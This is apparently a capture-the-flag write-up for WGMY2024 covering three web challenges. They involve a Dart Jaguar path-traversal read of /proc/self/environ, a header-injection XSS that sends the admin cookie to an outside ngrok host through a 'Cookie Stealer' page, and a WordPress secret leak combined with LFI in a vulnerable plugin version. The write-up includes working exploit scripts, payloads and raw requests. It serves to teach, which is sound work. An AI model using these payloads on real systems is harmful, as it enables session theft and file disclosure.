WGMY2024

[Web] Warmup 2

Description

Good morning everyone (GMT+8), let’s do some warmup!

Analysis

The code uses a package called jaguar which runs on dart.

1
2
3
4
5
6
7
8
9
import 'package:jaguar/jaguar.dart';

void main() async {
final server = Jaguar(port: 80);
server.staticFiles('/*', '/app/public');
server.log.onRecord.listen(print);
await server.serve(logRequests: true);
}

The flag is located in the environment variable of the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ingress:
enabled: true
className: traefik
annotations:
traefik.ingress.kubernetes.io/router.middlewares: default-ratelimit@kubernetescrd
hosts:
- host: dart.wgmy
paths:
- path: /
pathType: Prefix

env:
WGMY_FLAG: flag{test} <------ Flag

The functionality of the server is minimal as it only serves static files. However, browsing to github shows that it contains a local file inclusion (lfi) vulnerability when there is a wildcard (*). This matches our code allowing us to read the environment variables from “/proc/self/environ”.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re

URL = "http://dart.wgmy/"

r = requests.get(URL + "..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fenviron")

pattern = r'wgmy\{.+?\}'

m = re.search(pattern, r.text)

if m:
print(f'[*] Flag: {m.group()}')

# [*] Flag: wgmy{1ab97a2708d6190bf882c1acc283984a}

[Web] myFile

Description

Built a file sharing website using ChatGPT! Feel free to try it!

Analysis

The application allows you to upload files and subsequently share its download link by supplying its unique identifier. The application also hosts a bot where you can ask it to visit links. The goal of the challenge is to send a XSS payload to the admin bot as the flag is stored in the admin dashboard. Everything seemed secure except download.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
...
if (file_exists($filepath)) {
header('Content-Description: File Download');
header('Content-Type: text/html');
header('Content-Disposition: attachment; filename="' . $_POST["name"] . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush(); // Flush system output buffer
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
...
?>

When visiting a file with a valid id, it is downloaded immediately as the header 'Content-Disposition: attachment;' is set. Furthermore, it sets the Content-Type header as text/html. This would be useful later on. However, the application allows users to control the downloaded file name through ;filename="' . $_POST["name"].

When supplying a character such as new line (%0A) as the filename, the application would remove this header and display the file directly as it is no longer an attachment.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /download.php HTTP/1.1
Host: 43.216.228.210:32855
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://43.216.228.210:32855
Connection: close
Referer: http://43.216.228.210:32855/view.php?name=style.css&id=4dabfef53b00cf801749f3b86745faf6
Upgrade-Insecure-Requests: 1

name=%0a&id=4dabfef53b00cf801749f3b86745faf6
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 29 Dec 2024 07:57:17 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 40
Connection: close
Content-Description: File Download
Expires: 0
Cache-Control: must-revalidate
Pragma: public

<script>alert(document.domain)</script>

As the Content-Type is set to text/html as mentioned previously, the browser would render the HTML and execute our JavaScript leading to XSS!

image

Solution

I stole the admin cookie and hijacked its session to download the flag from the dashboard.

First, we would need to upload the XSS payload to the server and grab its unique id.

1
2
3
4
5
6
7
8
9
10
-----------------------------253995375334721723141164679941
Content-Disposition: form-data; name="fileToUpload"; filename="xss.txt"
Content-Type: text/css

<script>
window.location='https://ce3b-60-49-221-65.ngrok-free.app?c='+document.cookie
</script>

-----------------------------253995375334721723141164679941--

After grabbing its id, we would send the bot our mallicious website which contains a script to perform the attack. It will open a window to the download page and make it “download” our file through a rogue form with a malformed name (%0A). This makes the browser render the file instead of actually downloading it, causing the XSS to fire and steal its cookies.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>

<head>
<title>
Cookie Stealer
</title>
</head>

<body>
<form id="TheForm" method="post" action="http://localhost/download.php" target="TheWindow">
<input type="hidden" name="name" value='
' />
<input type="hidden" name="id" value="3ef8a2ff8eb9e021f497116e9e935400" />
<input type="hidden" name="other" value="something" />
</form>

<script type="text/javascript">
window.open('http://localhost/download.php', 'TheWindow');
document.getElementById('TheForm').submit();

</script>
</body>

</html>

After sending it to the bot, we receive its cookies.
image

image

wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}

[Web] WordMarket

Description

I’ve set up a WordPress eCommerce site for a client. Can you check if it’s secure enough for production? Give it a look and see if anything stands out.

Analysis

The application is a WordPress site with WooCommerce and two plugins installed. One of it is cities-shipping-zones-for-woocommerce while the other one is a custom plugin. We will focus on the custom plugin first.

The route registers a rest API that allows users to register a WordPress user given that they know a secret value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add_action( 'rest_api_init', function () {
register_rest_route( 'wgmy/v1', '/add_user', array(
'methods' => 'POST',
'callback' => 'user_creation_menu',
'permission_callback' => '__return_true',
) );
} );

function user_creation_menu(){
if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) {
if (get_option('wgmy_secret') == $_POST["secret"]){
...
$user = new WP_User($user_id);
...
}
}

However, there is a convenient route which reveals the secret to us as its not protected by authentication due to add_action("wp_ajax_nopriv_get_config", "get_config");.

1
2
3
4
5
6
7
8
9
10
11
12
13
add_action("wp_ajax_get_config", "get_config");
add_action("wp_ajax_nopriv_get_config", "get_config");

function get_config(){
if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
$secret_value = get_option('wgmy_secret');
if ($secret_value) {
echo json_encode(array('secret' => $secret_value));
} else {
echo json_encode(array('error' => 'Secret not found.'));
}
}
}

Sending a POST request to this endpoint reveals the secret, allowing us to register a user and login.

1
2
3
4
5
6
curl -X POST -d 'action=get_config&switch=1' http://46.137.193.2/wp-admin/admin-ajax.php

{"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"}

curl -X POST -d 'role=shop_manager&login=sh4n&password=sh4n&email=sh4n@sh4n.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx' 'http://46.137.193.2/index.php?rest_route=/wgmy/v1/add_user/'
{"message":"User created successfully!","user_id":19}

Now we can focus on the other plugin which is cities-shipping-zones-for-woocommerce. The README file shows that its version is 1.2.7 while the latest version is 1.2.9.

1
2
3
4
5
6
7
8
9
=== Cities Shipping Zones for WooCommerce ===
Contributors: condless
Tags: dropdown, city, shipping zone, shipping method
Requires at least: 5.2
Tested up to: 6.5
Requires PHP: 7.0
Stable tag: 1.2.7
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html

The plugin page indicates that version 1.2.7 contains a vulnerability which is later confirmed by a patchstack post giving credit to the challenge author on discovering the LFI vulnerability.

image

image

As the flag is located in the root directory of the filesystem, we will exploit this to read the flag.

1
COPY plugins/flag.php /flag.php

Solution

After downloading the latest version and diffing it with the vulnerable version, we discover where the LFI vulnerability lies.

Old version

1
2
3
4
...
if ( ! empty( $value ) && ! empty( $_POST['wc_csz_countries_codes'] ) && ! empty( $_POST['wc_csz_set_zone_country'] ) && ! empty( $_POST['wc_csz_set_zone_id'] ) ) {
include( 'i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php' );
...

Newest version

1
2
3
4
if ( ! empty( $value ) && ! empty( $_POST['wc_csz_countries_codes'] ) && ! empty( $_POST['wc_csz_set_zone_country'] ) && ! empty( $_POST['wc_csz_set_zone_id'] ) )  {
$selected_country_codes = get_option( 'wc_csz_countries_codes' );
if ( $selected_country_codes && in_array( $_POST['wc_csz_set_zone_country'], $selected_country_codes ) ) {
include( 'i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php' );

The old version does not sanitise or validate the $_POST['wc_csz_set_zone_country'] variable and includes the file, while the newest version does some validation on it.

This allows us to submit wc_csz_set_zone_country as a LFI payload to read the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
POST /wp-admin/admin.php?page=wc-settings&tab=csz HTTP/1.1
Host: 46.137.193.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://46.137.193.2/wp-admin/admin.php?page=wc-settings&tab=csz
Content-Type: multipart/form-data; boundary=---------------------------210887596025511864121001511850
Content-Length: 1693
Origin: http://46.137.193.2
Connection: close
Cookie: wordpress_3311b9f60991901073bd9218c0d79704=a%7C1735572193%7C1pj112UJugtKBPJhFj4Y40tmoquEz467uv7hEMrxw2D%7C20244e358e63d8519e09d670a9382263c2da87638b329732fc11aaa2c0b4f6e6; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-12-28%2011%3A24%3A55%7C%7C%7Cep%3Dhttp%3A%2F%2F46.137.193.2%2F%7C%7C%7Crf%3D%28none%29; sbjs_first_add=fd%3D2024-12-28%2011%3A24%3A55%7C%7C%7Cep%3Dhttp%3A%2F%2F46.137.193.2%2F%7C%7C%7Crf%3D%28none%29; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D3%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28X11%3B%20Linux%20x86_64%3B%20rv%3A109.0%29%20Gecko%2F20100101%20Firefox%2F115.0; sbjs_session=pgs%3D11%7C%7C%7Ccpg%3Dhttp%3A%2F%2F46.137.193.2%2F%3Fpage_id%3D7; wordpress_logged_in_3311b9f60991901073bd9218c0d79704=a%7C1735572193%7C1pj112UJugtKBPJhFj4Y40tmoquEz467uv7hEMrxw2D%7C564e2ac4026a5e82620983a1e7ada0bf949841b8fc25e19dfea2ad62e17d9e1d; tk_ai=woo%3ASAWSnZqXCrTtHegncoTnMLYZ; wp-settings-time-9=1735399668; tk_qs=; woocommerce_items_in_cart=1; woocommerce_cart_hash=0bac13db878f239fe7f0bda0cc044557; wp_woocommerce_session_3311b9f60991901073bd9218c0d79704=9%7C%7C1735572394%7C%7C1735568794%7C%7Cffdf37f77921054659a5999ba1dd70da; wp-settings-9=mfold%3Do
Upgrade-Insecure-Requests: 1

-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_countries_codes[]"

AF
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_countries_codes[]"

US
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_populate_state"

1
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_new_state_field"

1
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_checkout_restrict_states"

1
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_shipping_distance_fee"

1
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_set_zone_locations"

2
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_set_zone_country"

../../../../../../../../../../../flag
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="wc_csz_set_zone_id"

2
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="save"

Save changes
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="_wpnonce"

d0e0398ee1
-----------------------------210887596025511864121001511850
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/admin.php?page=wc-settings&tab=csz
-----------------------------210887596025511864121001511850--

image

wgmy{e707f597a4f30cd6da22293ea56f53a4}